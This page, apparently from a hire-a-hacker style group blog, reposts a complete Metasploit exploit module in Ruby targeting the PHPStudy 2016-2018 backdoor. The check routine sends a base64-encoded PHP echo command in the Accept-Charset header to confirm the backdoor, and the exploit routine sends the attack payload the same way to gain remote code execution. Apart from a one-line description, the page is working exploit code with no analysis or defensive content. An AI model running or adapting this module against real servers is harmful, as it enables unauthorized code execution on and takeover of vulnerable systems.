Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86381898

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "PHPStudy Backdoor Remote Code execution",
      'Description'    => %q{
        This module can detect and exploit the backdoor of PHPStudy.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Dimensional',  #POC
          'Airevan'       #Metasploit Module
        ],
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        =>
        [
          ['PHPStudy 2016-2018', {}]
        ],
      'References'    =>
        [
          ['URL', 'https://programmer.group/using-ghidra-to-analyze-the-back-door-of-phpstudy.html']
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Sep 20 2019",
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path', '/'])
      ])
  end
  def check
    uri = target_uri.path
    fingerprint = Rex::Text.rand_text_alpha(8)
    res = send_request_cgi({
      'method'  =>  'GET',
      'uri'     =>  normalize_uri(uri, 'index.php'),
      'headers' =>  {
        'Accept-Encoding' =>  'gzip,deflate',
        'Accept-Charset'  =>  Rex::Text.encode_base64("echo '#{fingerprint}';")
      }
    })

    if res && res.code == 200 && res.body.to_s.include?(fingerprint)
      return Exploit::CheckCode::Appears
    else
      return Exploit::CheckCode::Safe
    end
  end
  def exploit
    uri = target_uri.path
    print_good("Sending shellcode")
    res = send_request_cgi({
      'method'  => 'GET',
      'uri'     => normalize_uri(uri, 'index.php'),
      'headers' => {
          'Accept-Encoding' => 'gzip,deflate',
          'Accept-Charset'  => Rex::Text.encode_base64(payload.encoded)
      }
  })
  end
end